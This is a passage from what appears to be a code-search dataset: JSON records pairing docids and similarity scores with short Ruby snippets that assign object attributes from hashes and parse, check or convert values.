"docid": "49c8a041d3097565c3e77e55a35b8ed8",
"score": "0.55043715",
"text": "def attributes=(hash)\n hash.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"title": ""
},
{
"docid": "c5533a67670dfbb57081c2f02e7f503e",
"score": "0.54985356",
"text": "def attributes=(attribute_hash)\n paranoid = self.class.raise_on_invalid_mass_assignment\n allowed = self.class.mass_assignable_attributes.map { |a| a.to_s }\n \n attribute_hash.each do |key, value|\n if allowed.include?(key.to_s)\n send(:\"#{key}=\", value)\n else\n raise(RuntimeError, \"Mass assignment error\") if paranoid\n end\n end\n end",
"title": ""
},
{
"docid": "a5057e41dfa3618a7e6372ffb2392bf4",
"score": "0.5480712",
"text": "def assign_attributes(attributes = {})\n @attributes = HashWithIndifferentAccess.new(attributes)\n attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"title": ""
},
{
"docid": "c0e024b2312b0c34b8e3ee8970661516",
"score": "0.548013",
"text": "def update!(hash)\n assign_attributes(hash) # Assign attributes is provided by ActiveModel::AttributeAssignment\n save!\n end",
"title": ""
},
{
"docid": "5c6b2e494423824e83c79777cf1cbaa0",
"score": "0.5479647",
"text": "def set(hash)\n new_values = self.class.set(id, hash)\n if new_values.first\n @attributes = new_values.first\n else\n raise 'No objects were updated.'\n end\n end",
"title": ""
},
{
"docid": "c545a32751ad5f34b22adc88a502eabc",
"score": "0.54757595",
"text": "def to_hash\n add_inventory_attributes(auto_inventory_attributes) if @options[:auto_inventory_attributes]\n\n @properties[:inventory_object_attributes] ||= @inventory_object_attributes\n\n @properties[:default_values] ||= {}\n @properties[:default_values].merge!(@default_values)\n\n @properties[:dependency_attributes] ||= {}\n @properties[:dependency_attributes].merge!(@dependency_attributes)\n\n @properties\n end",
"title": ""
},
{
"docid": "407bbd13604ffbc6f6493f52c4aef9ad",
"score": "0.54716563",
"text": "def initialize(hash)\n @material = hash[:material]\n @cost = hash[:cost]\n @brand = hash[:brand]\n end",
"title": ""
},
{
"docid": "80beffb4becf581483338c28a5bb9da2",
"score": "0.54660374",
"text": "def set_attributes(attributes_hash)\n attributes_hash.each { |key, value| send(\"#{key}=\", value) if respond_to?(\"#{key}=\") }\n end",
"title": ""
},
{
"docid": "26f3f7e14cc64786e7c7a1e99b40072f",
"score": "0.5465413",
"text": "def set(set_attributes); end",
"title": ""
},
{
"docid": "46891ccbb219c2b6034857bc500db0e7",
"score": "0.54648876",
"text": "def save_inventory_transaction\n tran = new_inventory_transaction\n tran.external_id = uuid\n tran.affiliate_id = fulfilled_by_id\n tran.save\n end",
"title": ""
},
{
"docid": "968c6970837c7db954f96e416aca2488",
"score": "0.5454621",
"text": "def update_attributes(attrs)\n nattrs = attrs.reduce({}) do |acc, a|\n ak, av = a\n case ak\n when :asset, :owner\n else\n acc[ak] = av\n end\n\n acc\n end\n\n super(nattrs)\n end",
"title": ""
},
{
"docid": "4ef20a22b853eebdcc6cf9f55c414d36",
"score": "0.5452075",
"text": "def initialize(student_hash) #when .new is called from inside create_from_collection it will get passed a hash to set params off of \n student_hash.each do |attribute, value| #takes passed hash and iterates over each key value\n self.send(\"#{attribute}=\", value) # sets a param named after the key and equal to the value.\n end\n @@all << self #sends newly created student to class variable for storage\n end",
"title": ""
},
{
"docid": "b9e12839ba8c6fd0898a954020462728",
"score": "0.54503906",
"text": "def initialize(inventory, item_data)\n @inventory = inventory\n\n @defindex = item_data[:defindex]\n @backpack_position = item_data[:inventory] & 0xffff\n @count = item_data[:quantity]\n @craftable = !!item_data[:flag_cannot_craft]\n @id = item_data[:id]\n @item_class = schema_data[:item_class]\n @item_set = inventory.item_schema.item_sets[schema_data[:item_set]]\n @level = item_data[:level]\n @name = schema_data[:item_name]\n @original_id = item_data[:original_id]\n @preliminary = item_data[:inventory] & 0x40000000 != 0\n @quality = inventory.item_schema.qualities[item_data[:quality]]\n @tradeable = !!item_data[:flag_cannot_trade]\n @type = schema_data[:item_type_name]\n\n if item_data.key? :origin\n @origin = inventory.item_schema.origins[item_data[:origin]]\n end\n\n attributes_data = schema_data[:attributes] || []\n attributes_data += item_data[:attributes] if item_data.key? :attributes\n\n @attributes = []\n attributes_data.each do |attribute_data|\n attribute_key = attribute_data[:defindex] || attribute_data[:name]\n\n unless attribute_key.nil?\n schema_attribute_data = inventory.item_schema.attributes[attribute_key]\n @attributes << attribute_data.merge(schema_attribute_data)\n end\n end\n end",
"title": ""
},
{
"docid": "206a2e22a323c9993ded7642f7a0a0d2",
"score": "0.5450149",
"text": "def assign_inventory\n self.shipment = self.available_shipment\n\n # assign the inventory from the [Shipment] or if not available from the []Order] \n self.quantity_shipped.times do\n assign_inventory_by_type(:shipped)\n end\n\n self.quantity_slashed.times do\n assign_inventory_by_type(:slashed)\n end\n\n end",
"title": ""
},
{
"docid": "99e6635a4854f24d81ddfd734a5f6a94",
"score": "0.5450119",
"text": "def initialize(hash={})\n @id = hash[:id]\n readonly_fields.each do |field_name|\n self.instance_variable_set(\"@#{field_name}\", hash[field_name]) if hash[field_name]\n end\n self.attributes = hash\n end",
"title": ""
},
{
"docid": "ad6deec4ebb7a6f502f86df0dbda4ea8",
"score": "0.5448126",
"text": "def new_object= hash\n @@new_object.deep_merge! hash.deep_symbolize_keys\n end",
"title": ""
},
{
"docid": "d72b5a36b20ffe9083b0b422c6853428",
"score": "0.5444811",
"text": "def ecwid_writer(*attrs)\n attrs.map(&:to_s).each do |attribute|\n method = \"#{attribute.underscore}=\"\n define_accessor(method) do |value|\n @new_data[attribute] = value\n end unless method_defined?(method)\n end\n end",
"title": ""
},
{
"docid": "983852ec5371e816ff1031b1705d985a",
"score": "0.5444024",
"text": "def initialize(**attributes)\n attributes.map { |(k, v)| public_send(\"#{k}=\", v) }\n end",
"title": ""
},
{
"docid": "983852ec5371e816ff1031b1705d985a",
"score": "0.5444024",
"text": "def initialize(**attributes)\n attributes.map { |(k, v)| public_send(\"#{k}=\", v) }\n end",
"title": ""
},
{
"docid": "983852ec5371e816ff1031b1705d985a",
"score": "0.5444024",
"text": "def initialize(**attributes)\n attributes.map { |(k, v)| public_send(\"#{k}=\", v) }\n end",
"title": ""
},
{
"docid": "e948d46edccfcde46563e06972add849",
"score": "0.5440147",
"text": "def serializable_hash options=nil\n hash = super\n eav_attributes_list.each do |attribute|\n hash[attribute] = self.send(attribute)\n end\n\n hash\n end",
"title": ""
},
{
"docid": "8443d5d171cfda6feb0a2fb3f674185b",
"score": "0.5436402",
"text": "def initialize(hash_info)\n if hash_info[:set] != nil and hash_info[:set] =~ Shop_Core::ITEM_REGEXP\n @item_type = item_type_from_char($1)\n @item_id = $2.to_i\n @max_quantity = $3 != nil ? $4.to_i : -1\n else\n @item_type = hash_info[:type]\n @item_id = hash_info[:id]\n @max_quantity = hash_info[:quantity] || hash_info[:max] || -1\n end\n @repl_rate = hash_info[:repl_rate] ? (hash_info[:repl_rate] / 100.0) : 1.0\n @price = hash_info[:price].nil? ? item.price : hash_info[:price]\n @sell_locked = hash_info[:sell_locked].nil? ? false : hash_info[:sell_locked]\n @deny_sales = hash_info[:no_sales].nil? ? false : hash_info[:no_sales]\n @required_sw = hash_info[:switch]\n @required_var = hash_info[:variable]\n @required_var_value = hash_info[:variable_val] || 1\n @required_noitem = hash_info[:if_not_item]\n @custom_currency = hash_info[:currency]\n end",
"title": ""
},
{
"docid": "06cabacb04aebcd953074159b71d9954",
"score": "0.5435499",
"text": "def update_attributes attribute_hash\n bulk_assign(attribute_hash)\n save\n end",
"title": ""
},
{
"docid": "3f4ef398fc8e57b17f5c04060f1b4fbe",
"score": "0.54309016",
"text": "def assign_attributes(attributes)\n attributes.each_pair do |name, value|\n send \"#{name}=\", value\n end\n end",
"title": ""
},
{
"docid": "1c68618e477becc03c29e0b9ae0ce2c2",
"score": "0.54277045",
"text": "def apply_attributes(attributes)\n attributes.each { |k, v| self[k] = v }\n end",
"title": ""
},
{
"docid": "7671704c7d4643854738c20776ce5da2",
"score": "0.5427569",
"text": "def updateObject(object, new_dict)\n #fields\n object.opptyId = new_dict[\"OpptyID\"]\n object.opptyName = new_dict[\"OpptyName\"]\n object.coordinate = new_dict[\"coordinate\"]\n object.idiqCA = new_dict[\"IDIQ_CA\"]\n object.status2 = new_dict[\"Status2\"]\n object.value = new_dict[\"Total Value $M\"]\n object.pWin = new_dict[\"pWin\"]\n object.captureMgr = new_dict[\"CaptureMgr\"]\n object.programMgr = new_dict[\"ProgramMgr\"]\n object.proposalMgr = new_dict[\"ProposalMgr\"]\n object.technicalLead = new_dict[\"TechnicalLead\"]\n object.slArch = new_dict[\"SLArch\"]\n object.sllOrg = new_dict[\"SLLOrg\"]\n object.slComments = new_dict[\"SL Comments\"]\n object.rfpDate = Date.new(1899,12,30) + new_dict[\"RFPDate\"].to_f\n object.awardDate = Date.new(1899,12,30) + new_dict[\"AwardDate\"].to_f\n object.slDir = new_dict[\"SLDir\"]\n object.leadEstim = new_dict[\"LeadEstim\"]\n object.engaged = new_dict[\"Engaged r/y/g\"]\n object.solution = new_dict[\"Solution r/y/g\"]\n object.estimate = new_dict[\"Estimate r/y/g\"]\n object.proposalDueDate = Date.new(1899,12,30) + new_dict[\"ProposalDueDate\"].to_f\n object.codeName = new_dict[\"CodeName\"]\n object.descriptionOfWork = new_dict[\"DescriptionOfWork\"]\n object.category = new_dict[\"Category\"]\n object.pwald = new_dict[\"PWALD\"]\n object.pBid = new_dict[\"pBid\"]\n object.awardFV = new_dict[\"AwardFV\"]\n object.saicvaPercent = new_dict[\"SAICVA%\"]\n object.saicva = new_dict[\"SAIC VA $M\"]\n object.mat = new_dict[\"Mat%\"]\n object.materialsTV = new_dict[\"Mat TV $M\"]\n object.subc = new_dict[\"Subc%\"]\n object.subTV = new_dict[\"Subc TV $M\"]\n object.cg_va = new_dict[\"CG_VA\"]\n object.sss_va = new_dict[\"SSS-3621\"]\n object.nwi_va = new_dict[\"NWI-3933\"]\n object.hwi_va = new_dict[\"HWI-3648\"]\n object.itms_va = new_dict[\"ITMS-3896\"]\n object.tss_va = new_dict[\"TSS-3676\"]\n object.ccds_va = new_dict[\"CCDS-3932\"]\n object.mss_va = new_dict[\"MSS-3690\"]\n object.swi_va = new_dict[\"SWI-3934\"]\n object.lsc_va = new_dict[\"LSC-3640\"]\n object.zzOth_va = new_dict[\"zzOth_VA\"]\n object.pri = new_dict[\"Pri\"]\n object.aop = new_dict[\"AOP\"]\n object.peg = new_dict[\"PEG\"]\n object.mustWin = new_dict[\"MustWin\"]\n object.feeIndic = new_dict[\"FeeIndic\"]\n object.slutil = new_dict[\"Slutil\"]\n object.recompete = new_dict[\"Recompete\"]\n object.competitive = new_dict[\"Competitive\"]\n object.international = new_dict[\"International\"]\n object.strategic = new_dict[\"Strategic\"]\n object.bundle = new_dict[\"Bundle\"]\n object.bidReviewStream = new_dict[\"BidReviewStream\"]\n object.definedDelivPgm = new_dict[\"DefinedDelivPgm\"]\n object.evaluationCriteria = new_dict[\"EvaluationCriteria\"]\n object.perfWorkLoc = new_dict[\"PerfWorkLoc\"]\n object.classIfReqmt = new_dict[\"ClassifReqmt\"]\n object.grouping = new_dict[\"Grouping\"]\n object.reasonForWinLoss = new_dict[\"ReasonforWinLoss\"]\n object.egr = new_dict[\"EGR\"]\n object.slCat = new_dict[\"SLcat\"]\n object.slPri = new_dict[\"Slpri\"]\n object.slNote = new_dict[\"Slnote\"]\n object.crmRunDate = Date.new(1899,12,30) + new_dict[\"CRMRunDate\"].to_f\n object.contractStartDate = Date.new(1899,12,30) + new_dict[\"ContractStartDate\"].to_f\n object.rfpFYPer = new_dict[\"RFPFYPer\"]\n object.submitFYPer = new_dict[\"SubmitFYPer\"]\n object.awardFYPer = new_dict[\"AwardFYPer\"]\n object.preBPprojID = new_dict[\"PreBPprojID\"]\n object.fy16PreBP = new_dict[\"FY16 PreB&P$\"]\n object.fy16PreBPSpent = new_dict[\"FY16 PreB&P $Spent\"]\n object.fy16PreBPSpentPercent = new_dict[\"FY16 PreB&P %Spent\"]\n object.bpProjID = new_dict[\"BPprojID\"]\n object.fy16BDTot = new_dict[\"FY16 BDTot$\"]\n object.fy16BDTotSpent = new_dict[\"FY16 BDTot $Spent\"]\n object.fy16BDTotSpentPercent = new_dict[\"FY16 BDTot %Spent\"]\n object.financeDate = Date.new(1899,12,30) + new_dict[\"FinDate\"].to_f\n object.cgSecOrg = new_dict[\"SecOrg\"]\n object.cgSecMgr = new_dict[\"SecMgr\"]\n object.cgOrg = new_dict[\"CGOrg\"]\n object.cgMgr = new_dict[\"CGMgr\"]\n object.opOrg = new_dict[\"OpOrg\"]\n object.cgOpMgr = new_dict[\"OpMgr\"]\n object.cgPgmDir = new_dict[\"PgmDir\"]\n object.bdMgr = new_dict[\"BDMgr\"]\n object.crmRecOwner = new_dict[\"CRMRecOwner\"]\n object.sslMgr = new_dict[\"SSLeadMgr\"]\n object.divNum = new_dict[\"DivNum\"]\n object.customer = new_dict[\"Customer\"]\n object.endCustomer = new_dict[\"EndCustomer\"]\n object.crn = new_dict[\"CRN\"]\n object.contractType = new_dict[\"ContractType\"]\n object.opptyClass = new_dict[\"OpptyClass\"]\n object.numberOfAwards = new_dict[\"NumberOfAwards\"]\n object.totalPOP = new_dict[\"TotalPOP\"]\n object.primeSub = new_dict[\"PrimeSub\"]\n object.fy16BP = new_dict[\"FY16 B&P$\"]\n object.fy16BPSpent = new_dict[\"FY16 B&P $Spent\"]\n object.fy16BPSpentPercent = new_dict[\"FY16 B&P %Spent\"]\n object.save\n return object\n end",
"title": ""
},
{
"docid": "4c2d5eebd49d8c9e6b5c5f95850fdd90",
"score": "0.5427035",
"text": "def set_attributes(oprattr, attributes)\n raise(ArgumentError, 'Attributes must be a Hash type') unless attributes.is_a?(Hash)\n for k, v in attributes\n v = v.to_s unless v.nil?\n oprattr.setAttribute(k.to_s, v.to_java_bytes)\n end\n end",
"title": ""
},
{
"docid": "c5fb712341d67736241519bcf3f20d04",
"score": "0.5425829",
"text": "def update_item(item_name, new_quantity, h)\n h[item_name] = new_quantity\nend",
"title": ""
},
{
"docid": "b1e4bec680694ac67c4eaaacbb6ef566",
"score": "0.5425006",
"text": "def update_quantity(hash, item_name, quantity)\r\n hash[item_name] = quantity\r\n hash\r\nend",
"title": ""
},
{
"docid": "2ff0d166132fae70ebab4cd75ce162bf",
"score": "0.5423116",
"text": "def record_assign record\n\n record.each do |name, value|\n self[name] = value\n end\n\n end",
"title": ""
},
{
"docid": "11b828e210f8756754ace6fecae65324",
"score": "0.5421367",
"text": "def rhoconnect_apply_attributes(partition, attributes)\n self.attributes = attributes\n end",
"title": ""
},
{
"docid": "413e86d064723bc8ed81a9e80637222b",
"score": "0.54207164",
"text": "def update_attributes(hash)\n hash.each_pair do |attribute_name, value|\n if self.respond_to?(\"#{attribute_name}=\")\n self.send(\"#{attribute_name}=\", value)\n end\n end\n end",
"title": ""
},
{
"docid": "eaeef7323d7fb3cfb9ebee6591dab158",
"score": "0.5416544",
"text": "def set_inner_hash(hash)\n @h = coerce_hash(hash)\n define_attr_accessors\n end",
"title": ""
}
] |
5d2303c772714082bfa6ec2736f530c7 | Examine what a value actually is and proces it accordingly. | [
{
"docid": "5c53e2cce77ef4ef7adc3558e084fcb1",
"score": "0.0",
"text": "def extract_properties(parent, key, value)\n if value.is_a?(Hash)\n process_hash(key, value)\n elsif value.is_a?(Array)\n process_array(key, value)\n else\n process_value(parent, key, value)\n end\n end",
"title": ""
}
] | [
{
"docid": "92f414a2463d8233c506970254b2c660",
"score": "0.76402545",
"text": "def process_value(value); end",
"title": ""
},
{
"docid": "f8423f80cb2071b7213f3dc1be3a7e69",
"score": "0.688223",
"text": "def value_check\n \t@value\n end",
"title": ""
},
{
"docid": "76a120c2e950f34e82edd5b47cb6f34f",
"score": "0.6664552",
"text": "def value?(value); end",
"title": ""
},
{
"docid": "76a120c2e950f34e82edd5b47cb6f34f",
"score": "0.6664552",
"text": "def value?(value); end",
"title": ""
},
{
"docid": "76a120c2e950f34e82edd5b47cb6f34f",
"score": "0.6664552",
"text": "def value?(value); end",
"title": ""
},
{
"docid": "9c92d70c844bcb66bbc1a95fc835222f",
"score": "0.6494737",
"text": "def massage_value(val)\n if block = Bldr.handlers[val.class]\n return block.call(val)\n else\n val\n end\n end",
"title": ""
},
{
"docid": "9c92d70c844bcb66bbc1a95fc835222f",
"score": "0.6494737",
"text": "def massage_value(val)\n if block = Bldr.handlers[val.class]\n return block.call(val)\n else\n val\n end\n end",
"title": ""
},
{
"docid": "0eacd646de4a4b67872471cc83ed430d",
"score": "0.6437979",
"text": "def supports_value_expectations?; end",
"title": ""
},
{
"docid": "3af75d98db3a77358ee9024bbd321411",
"score": "0.6301183",
"text": "def _value\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_string)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_number)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_boolean)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_value unless _tmp\n return _tmp\n end",
"title": ""
},
{
"docid": "bd8114db140582335beaba5f4678af0d",
"score": "0.62821734",
"text": "def interpret(value); end",
"title": ""
},
{
"docid": "2f60751df7d3b0c3ba3ddde8a2909bad",
"score": "0.62482786",
"text": "def process_single_value(value, properties)\n if properties[:const] || value.nil?\n return properties[:default].call if properties[:default].is_a?(Proc)\n return nil if properties[:default].nil?\n value = properties[:default]\n end\n case properties[:type]\n when :string\n value.to_s\n when :integer\n value.to_i\n when :decimal\n BigDecimal(value)\n when :boolean\n value.is_a?(TrueClass) || value == 'true'\n when :json\n JSON.parse(value)\n when Array\n value\n else\n raise \"Unexpected type '#{type}' for '#{key}'\"\n end\n end",
"title": ""
},
{
"docid": "5ea2296e7d1aa07476c428a917874b44",
"score": "0.62420595",
"text": "def value\n @value ||= case\n when straightflush? then 8\n when fullhouse? then 7\n when fourofakind? then 6\n when flush? then 5\n when straight? then 4\n when threeofakind? then 3\n when twopair? then 2\n when onepair? then 1\n else 0\n end\n end",
"title": ""
},
{
"docid": "094265ae7ab43eef728b7780a88a09d5",
"score": "0.62153906",
"text": "def process(value)\n value.nil? ? default_value : cast(value)\n end",
"title": ""
},
{
"docid": "b86be61c35fb3d15694fb5818cbcfc63",
"score": "0.6207913",
"text": "def value_omission?; end",
"title": ""
},
{
"docid": "1dbb603cf327e53061b3d6e405f8e855",
"score": "0.6194721",
"text": "def has_value?(value)\n super(convert_value(value))\n end",
"title": ""
},
{
"docid": "9b007b7efba4f168d67fd608441f255d",
"score": "0.6176295",
"text": "def value\n proper_value\n end",
"title": ""
},
{
"docid": "cd562ab5ba7ebe6df5d4ad7390b11f78",
"score": "0.6139718",
"text": "def has_value(value); end",
"title": ""
},
{
"docid": "b70b354f360567e84b298a925c34c6a3",
"score": "0.613087",
"text": "def bump_value(value_)\n if @bump_proc\n nvalue_ = @bump_proc.call(value_)\n nvalue_ || value_\n elsif @type == :integer || @type == :string\n value_.next\n else\n info_ = @symbol_info[value_]\n info_ ? info_[1] || value_ : nil\n end\n end",
"title": ""
},
{
"docid": "96cdf3f5a2a01b8259bfffaa4b1a356c",
"score": "0.6102896",
"text": "def user_provided_value; end",
"title": ""
},
{
"docid": "96cdf3f5a2a01b8259bfffaa4b1a356c",
"score": "0.6102896",
"text": "def user_provided_value; end",
"title": ""
},
{
"docid": "319f1933dfe01f3095ceae4a5c032f9b",
"score": "0.60988015",
"text": "def value\n @value ||= extract_value\n end",
"title": ""
},
{
"docid": "7a88690753a31751db2514ea27142141",
"score": "0.60943145",
"text": "def value\n @clean_val ||= proper_value\n end",
"title": ""
},
{
"docid": "f9aef5c9801d733f655f3a95c57d329d",
"score": "0.6077602",
"text": "def allows_value?(v)\n v.nil? || VERIFICATION[self.type][v]\n end",
"title": ""
},
{
"docid": "68b2a418ba2e4e143efc4dffc14275eb",
"score": "0.6037725",
"text": "def processed_value\n @value\n end",
"title": ""
},
{
"docid": "48c311e1a0476cd36722c466ce04f5b0",
"score": "0.60352135",
"text": "def refine_value(value)\n refined?(value) ? value.match : Anything.new(value)\n end",
"title": ""
},
{
"docid": "f0fa3c731859d645bff33c78545f9363",
"score": "0.60324657",
"text": "def describe_value(value)\r\n\t\t\tvalues.find(value.to_i).value\r\n\t\tend",
"title": ""
},
{
"docid": "9a27a76f15eb1a38605552b09df6358a",
"score": "0.60290235",
"text": "def __value(v); end",
"title": ""
},
{
"docid": "96bd39aa1227204ea6a6177761a34f0e",
"score": "0.6024394",
"text": "def parse_value(value)\n case value\n when /\\A#{PATTERNS[:float]}\\z/ then value.to_f\n when /\\A#{PATTERNS[:integer]}\\z/ then value.to_i\n when /\\A#{PATTERNS[:boolean]}\\z/ then value == \"true\"\n else value\n end\n end",
"title": ""
},
{
"docid": "c960fba46ac37dc17aadfb3bbde4df44",
"score": "0.6007226",
"text": "def value_from obj\n value, found = retrieve_value obj\n value = validate value if found\n\n value\n end",
"title": ""
},
{
"docid": "f292b8245ed49b88b111f539889cdae7",
"score": "0.59982944",
"text": "def ensure(value)\n case @type\n when :mult\n @value << value unless @value.include?(value)\n when :bool\n @value = value\n else\n @value << value if @value.nil? || !@value.match(value)\n end\n\n update_value\n end",
"title": ""
},
{
"docid": "c5e1f03822e91980da8f419937343176",
"score": "0.59946066",
"text": "def try_value=(val)\n\t\t@value = val\n\tend",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "be49fd11b2a56b45ca949f554fc29c5b",
"score": "0.59894997",
"text": "def value=(value); end",
"title": ""
},
{
"docid": "1214df8d8ef914cdfe4aec5b65cf46f2",
"score": "0.5984299",
"text": "def argument_in_value; end",
"title": ""
},
{
"docid": "1214df8d8ef914cdfe4aec5b65cf46f2",
"score": "0.5984299",
"text": "def argument_in_value; end",
"title": ""
},
{
"docid": "f5275ae60ab50214d59cfbad7ede7270",
"score": "0.5980483",
"text": "def determine_value(type, value)\n return false if (type == FalseClass)\n return true if (type == TrueClass)\n return value.to_i if (type == Fixnum)\n return value.to_f if (type == Float)\n value\n end",
"title": ""
},
{
"docid": "09d018d061e099e6eb1e1905123b6e89",
"score": "0.5961368",
"text": "def inspect_value(v); end",
"title": ""
},
{
"docid": "e25e49b828274f52be46d54a635e4f62",
"score": "0.59506255",
"text": "def check_value(value)\n case value\n when 'true'\n true\n when 'false'\n false\n else\n value\n end\n end",
"title": ""
},
{
"docid": "fb34f501b429e2ef8bba227476e1d7e8",
"score": "0.5949144",
"text": "def preprocess_value(value, args, condition)\n if @preprocess_value\n @preprocess_value.call(value, args, condition)\n else\n value\n end\n end",
"title": ""
},
{
"docid": "b22b84e02f88a9928e545dd8030d0c73",
"score": "0.59473747",
"text": "def case_value()\n return value = self.val\n end",
"title": ""
},
{
"docid": "b6bdc99fe694f2d843c1840fe67c8904",
"score": "0.5943535",
"text": "def resolved_value; end",
"title": ""
},
{
"docid": "b6bdc99fe694f2d843c1840fe67c8904",
"score": "0.5943535",
"text": "def resolved_value; end",
"title": ""
},
{
"docid": "2c1d139d811049325e1ade86f7cfd8bf",
"score": "0.5911118",
"text": "def value?()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "91fab28063eaa614ce4720c439f80aa7",
"score": "0.5901633",
"text": "def normalize_value(value); end",
"title": ""
},
{
"docid": "9469de75bb4050e69b1e0c60f5e6621c",
"score": "0.58940464",
"text": "def process_value(value)\n case value\n when Hash then self.class.new(@_agent, value)\n when Array then value.map { |v| process_value(v) }\n else value\n end\n end",
"title": ""
},
{
"docid": "2d20dff564193b9018920ccf757fe40c",
"score": "0.5887841",
"text": "def _value\n @value || sensible_default()\n end",
"title": ""
},
{
"docid": "eae22ac4dd7e3504738ed9961c18037c",
"score": "0.5883087",
"text": "def get_value\n value\n end",
"title": ""
},
{
"docid": "cd0ca5b657e618278f0cb7cb242e3075",
"score": "0.5882455",
"text": "def value_used?; end",
"title": ""
},
{
"docid": "cd0ca5b657e618278f0cb7cb242e3075",
"score": "0.5882455",
"text": "def value_used?; end",
"title": ""
},
{
"docid": "5f87cc5a05dabf2b46c629b3bbd4d2bc",
"score": "0.587353",
"text": "def validate_value(value)\n\n end",
"title": ""
},
{
"docid": "04759ff33ad7468763d5fbf40c30d477",
"score": "0.58676904",
"text": "def value?\n @value\n end",
"title": ""
},
{
"docid": "8544fa25f48ca3b8fb301d75ed6fee71",
"score": "0.58587587",
"text": "def get_value_parameter\n value ? value : 'N/a'\n end",
"title": ""
},
{
"docid": "5baea323552ec871a948b8e4bdfdff8e",
"score": "0.5853942",
"text": "def result_value_of( delcared_type, value )\n raise NotImplementedError, \"result_value_of has not been implemented\"\n end",
"title": ""
},
{
"docid": "68b41ac34e2d9c9610ab06b1618f29bc",
"score": "0.5845835",
"text": "def try_convert_value(value)\n if value.class == String\n if /^[0-9]+$/.match(value) #int\n value.to_i\n elsif /^[0-9]+(\\.)[0-9]*$/.match(value) #float\n value.to_f\n elsif (value.downcase == 'true') #boolean\n true\n elsif (value.downcase == 'false') #boolean\n false\n elsif /^:(.+)$/.match(value)\n $1.to_sym\n else\n value # can't parse, return String\n end\n else # value is not String, return it as is\n value\n end\n end",
"title": ""
},
{
"docid": "7470279aab7cebcff6f6ecded947fb35",
"score": "0.5839174",
"text": "def has_value?(value)\r\n end",
"title": ""
},
{
"docid": "c327ed14c873c0f1cc31f166eefc2ee6",
"score": "0.58358806",
"text": "def controlled_value_for(value)\n value.present? && value.is_a?(Valkyrie::ID) ? find_resource(value) : value\n end",
"title": ""
},
{
"docid": "c49d5493286efa560bfb21823779c8f9",
"score": "0.58358276",
"text": "def interpret_value(value)\n case value\n when Array then value.sample\n when Range then value_in_range(value)\n else value\n end\n end",
"title": ""
},
{
"docid": "80ffe4c6795bdd0c196d563ff9168f17",
"score": "0.5834502",
"text": "def parseValue(value)\n if PATTERNS[:no].include? value\n return false\n elsif PATTERNS[:yes].include? value\n return true\n elsif value =~ PATTERNS[:number]\n return value.to_i\n elsif value =~ PATTERNS[:float]\n return value.to_f\n elsif value =~ PATTERNS[:string]\n match = PATTERNS[:string].match(value)\n return match[1]\n elsif value =~ PATTERNS[:array]\n return value.split(',').map { |x| x.strip }\n else\n return value\n end\n end",
"title": ""
},
{
"docid": "dc608ae75a95bc032738f46eec92922a",
"score": "0.58274484",
"text": "def _value\n # Table of possible preconditions and expected outcome\n # 1. :value and !in_read -> :value\n # 2. :value and in_read -> @value\n # 3. :initial_value and clear? -> :initial_value\n # 4. :initial_value and !clear? -> @value\n # 5. clear? -> sensible_default\n # 6. !clear? -> @value\n\n if not @in_read and (evaluated_value = eval_param(:value))\n # rule 1 above\n evaluated_value\n else\n # combining all other rules gives this simplified expression\n @value || eval_param(:value) ||\n eval_param(:initial_value) || sensible_default()\n end\n end",
"title": ""
},
{
"docid": "8ca696c58df922581b29f35c0a33407c",
"score": "0.58232313",
"text": "def process_value(value, context)\n # If the value contains a meta variable, get it from the context\n if value =~ /\\{\\{(.*)\\}\\}/\n context[$1]\n else\n value\n end\n end",
"title": ""
},
{
"docid": "9ee853e5ba249722f6bfacc1f524232f",
"score": "0.5821912",
"text": "def value() end",
"title": ""
},
{
"docid": "fb638bf930aa9008249f9e2aeda4a4a2",
"score": "0.58166414",
"text": "def describe_value(value)\r\n\t\t\tvalue\r\n\t\tend",
"title": ""
},
{
"docid": "8ba0ed6512dc85a92171022f00280f3e",
"score": "0.58141893",
"text": "def value_condition\n value.present?\n end",
"title": ""
},
{
"docid": "aa19dcff3b995c91a01fb6b929c3c8f4",
"score": "0.58129984",
"text": "def process_svalue exp\n exp.value\n end",
"title": ""
},
{
"docid": "239eb7dda0311527b4e04503ab74d24e",
"score": "0.5806441",
"text": "def value(*) end",
"title": ""
},
{
"docid": "239eb7dda0311527b4e04503ab74d24e",
"score": "0.5806441",
"text": "def value(*) end",
"title": ""
},
{
"docid": "239eb7dda0311527b4e04503ab74d24e",
"score": "0.5806441",
"text": "def value(*) end",
"title": ""
},
{
"docid": "4e194283d8429856551289df01af5ab2",
"score": "0.57960665",
"text": "def value(value)\n return value unless value.is_a?(String)\n case value\n when 'true'\n true\n when 'false'\n false\n when /^\\d+\\.\\d+\\.\\d+/ # ip addr\n value\n when /^\\d+$/ # number\n value.to_i\n when /^[\\d\\.]+$/ # float\n value.to_f\n else\n value\n end\n end",
"title": ""
},
{
"docid": "95cd3f5af6ed55d2162d404a777ee013",
"score": "0.5793175",
